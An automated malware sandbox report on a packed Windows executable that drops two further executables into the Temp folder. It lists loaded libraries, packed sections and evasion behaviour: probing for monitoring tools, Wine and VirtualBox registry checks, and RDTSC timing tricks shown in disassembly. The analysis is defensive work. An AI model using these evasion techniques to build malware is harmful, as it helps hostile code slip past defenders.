Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: uDTW3VjJJT.exe

Static file information: File size 1865216 > 1048576

Source: uDTW3VjJJT.exe

Static PE information: Raw size of jxigntbe is bigger than: 0x100000 < 0x19f200

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: FC6S9INH3UEK91EJWRLCPKUP1.exe, 0000000C.00000002.2697583926.0000000000CF2000.00000040.00000001.01000000.00000008.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Unpacked PE file: 12.2.FC6S9INH3UEK91EJWRLCPKUP1.exe.cf0000.0.unpack :EW;.rsrc:W;.idata :W;ljmymddw:EW;ajdgxuni:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Unpacked PE file: 13.2.DXNVSY83L0YWDTI5Q.exe.fb0000.0.unpack :EW;.rsrc:W;.idata :W;ojvirhut:EW;ueswzroq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ojvirhut:EW;ueswzroq:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: uDTW3VjJJT.exe	Static PE information: real checksum: 0x1ca204 should be: 0x1d0023
Source: DXNVSY83L0YWDTI5Q.exe.0.dr	Static PE information: real checksum: 0x2c9bdd should be: 0x2c4122
Source: FC6S9INH3UEK91EJWRLCPKUP1.exe.0.dr	Static PE information: real checksum: 0x2b95dc should be: 0x2bba7d

Source: uDTW3VjJJT.exe	Static PE information: section name:
Source: uDTW3VjJJT.exe	Static PE information: section name: .idata
Source: uDTW3VjJJT.exe	Static PE information: section name:
Source: uDTW3VjJJT.exe	Static PE information: section name: jxigntbe
Source: uDTW3VjJJT.exe	Static PE information: section name: dmgkcopc
Source: uDTW3VjJJT.exe	Static PE information: section name: .taggant
Source: DXNVSY83L0YWDTI5Q.exe.0.dr	Static PE information: section name:
Source: DXNVSY83L0YWDTI5Q.exe.0.dr	Static PE information: section name: .idata
Source: DXNVSY83L0YWDTI5Q.exe.0.dr	Static PE information: section name: ojvirhut
Source: DXNVSY83L0YWDTI5Q.exe.0.dr	Static PE information: section name: ueswzroq
Source: DXNVSY83L0YWDTI5Q.exe.0.dr	Static PE information: section name: .taggant
Source: FC6S9INH3UEK91EJWRLCPKUP1.exe.0.dr	Static PE information: section name:
Source: FC6S9INH3UEK91EJWRLCPKUP1.exe.0.dr	Static PE information: section name: .idata
Source: FC6S9INH3UEK91EJWRLCPKUP1.exe.0.dr	Static PE information: section name: ljmymddw
Source: FC6S9INH3UEK91EJWRLCPKUP1.exe.0.dr	Static PE information: section name: ajdgxuni
Source: FC6S9INH3UEK91EJWRLCPKUP1.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_0144AE6C pushad ; iretd	0_3_0144AE97
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_0144AE6C pushad ; iretd	0_3_0144AE97
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_0144AE6C pushad ; iretd	0_3_0144AE97
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_0144AE6C pushad ; iretd	0_3_0144AE97
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_0144AE6C pushad ; iretd	0_3_0144AE97
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_0144AE6C pushad ; iretd	0_3_0144AE97
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C255B9 push ebp; retn 0005h	0_3_05C255C2
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C255B9 push ebp; retn 0005h	0_3_05C255C2
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C255B9 push ebp; retn 0005h	0_3_05C255C2
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C255B9 push ebp; retn 0005h	0_3_05C255C2
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C256C5 push esi; retn 0005h	0_3_05C256C6
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C256C5 push esi; retn 0005h	0_3_05C256C6
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C256C5 push esi; retn 0005h	0_3_05C256C6
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C256C5 push esi; retn 0005h	0_3_05C256C6
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C256D3 push ebp; retn 0005h	0_3_05C256EA
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C256D3 push ebp; retn 0005h	0_3_05C256EA
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C256D3 push ebp; retn 0005h	0_3_05C256EA
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C256D3 push ebp; retn 0005h	0_3_05C256EA
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C25695 push esi; retn 0005h	0_3_05C25696
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C25695 push esi; retn 0005h	0_3_05C25696
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C25695 push esi; retn 0005h	0_3_05C25696
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C25695 push esi; retn 0005h	0_3_05C25696
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C26649 push esp; retn 0005h	0_3_05C26651
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C26649 push esp; retn 0005h	0_3_05C26651
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C26649 push esp; retn 0005h	0_3_05C26651
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C26649 push esp; retn 0005h	0_3_05C26651
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C25664 push esi; retn 0005h	0_3_05C25666
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C25664 push esi; retn 0005h	0_3_05C25666
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C25664 push esi; retn 0005h	0_3_05C25666
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C25664 push esi; retn 0005h	0_3_05C25666
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Code function: 0_3_05C256C5 push esi; retn 0005h	0_3_05C256C6

Source: uDTW3VjJJT.exe	Static PE information: section name: entropy: 7.974539623835267
Source: uDTW3VjJJT.exe	Static PE information: section name: jxigntbe entropy: 7.953048455185081

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File created: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe			Jump to dropped file
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File created: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 9D81C6 second address: 9D81CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 9D81CB second address: 9D81E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F43610807B2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 9D81E1 second address: 9D81E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B58B57 second address: B58B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B5B1F4 second address: B5B217 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B5B217 second address: B5B21D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B5B21D second address: B5B2A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov esi, dword ptr [ebp+122D37FBh] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F43610E8A78h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov edx, eax 0x0000002e call 00007F43610E8A79h 0x00000033 push esi 0x00000034 pushad 0x00000035 jmp 00007F43610E8A7Dh 0x0000003a jnc 00007F43610E8A76h 0x00000040 popad 0x00000041 pop esi 0x00000042 push eax 0x00000043 jmp 00007F43610E8A87h 0x00000048 mov eax, dword ptr [esp+04h] 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B5B2A6 second address: B5B2C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43610807B6h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B5B2C1 second address: B5B2F8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F43610E8A89h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007F43610E8A80h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push ecx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B5B2F8 second address: B5B37A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop ecx 0x00000008 pop eax 0x00000009 call 00007F43610807B9h 0x0000000e mov dword ptr [ebp+122D1D16h], ecx 0x00000014 pop edx 0x00000015 push 00000003h 0x00000017 add si, D46Fh 0x0000001c push 00000000h 0x0000001e sub cx, EE73h 0x00000023 push 00000003h 0x00000025 or dword ptr [ebp+122D1C76h], esi 0x0000002b call 00007F43610807A9h 0x00000030 jmp 00007F43610807ADh 0x00000035 push eax 0x00000036 jmp 00007F43610807B6h 0x0000003b mov eax, dword ptr [esp+04h] 0x0000003f pushad 0x00000040 jmp 00007F43610807ADh 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B5B37A second address: B5B37E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B5B37E second address: B5B394 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F43610807A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007F43610807A6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B5B394 second address: B5B3BE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F43610E8A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007F43610E8A78h 0x00000010 push esi 0x00000011 pop esi 0x00000012 popad 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F43610E8A7Fh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B5B3BE second address: B5B3C4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B5B3C4 second address: B5B3C9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B5B46C second address: B5B487 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B5B487 second address: B5B58B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F43610E8A82h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007F43610E8A7Eh 0x00000013 push 00000000h 0x00000015 jnp 00007F43610E8A78h 0x0000001b mov ecx, eax 0x0000001d push 74CDBC37h 0x00000022 jnc 00007F43610E8A85h 0x00000028 jmp 00007F43610E8A7Fh 0x0000002d xor dword ptr [esp], 74CDBCB7h 0x00000034 sub dword ptr [ebp+122D1D22h], eax 0x0000003a and cx, 9CA5h 0x0000003f push 00000003h 0x00000041 mov dword ptr [ebp+122D1E9Ah], edx 0x00000047 and esi, dword ptr [ebp+122D178Ah] 0x0000004d push 00000000h 0x0000004f call 00007F43610E8A87h 0x00000054 sbb dx, 5454h 0x00000059 pop esi 0x0000005a mov ecx, 3D710840h 0x0000005f push 00000003h 0x00000061 movsx esi, bx 0x00000064 js 00007F43610E8A7Ch 0x0000006a push 62EADE46h 0x0000006f jng 00007F43610E8A7Eh 0x00000075 add dword ptr [esp], 5D1521BAh 0x0000007c mov dword ptr [ebp+122D1A49h], ecx 0x00000082 jmp 00007F43610E8A89h 0x00000087 lea ebx, dword ptr [ebp+12457096h] 0x0000008d sbb dl, FFFFFFC6h 0x00000090 xchg eax, ebx 0x00000091 jmp 00007F43610E8A7Bh 0x00000096 push eax 0x00000097 js 00007F43610E8A8Dh 0x0000009d push eax 0x0000009e push edx 0x0000009f jmp 00007F43610E8A7Bh 0x000000a4 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B5B58B second address: B5B58F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B5B602 second address: B5B67B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F43610E8A78h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 call 00007F43610E8A83h 0x0000002c movzx edi, cx 0x0000002f pop ecx 0x00000030 call 00007F43610E8A79h 0x00000035 pushad 0x00000036 jmp 00007F43610E8A88h 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F43610E8A83h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B5B67B second address: B5B6A9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F43610807A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jnp 00007F43610807BAh 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 pushad 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B5B6A9 second address: B5B6CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e push edx 0x0000000f push esi 0x00000010 jng 00007F43610E8A76h 0x00000016 pop esi 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push ecx 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 pop ecx 0x00000022 rdtsc
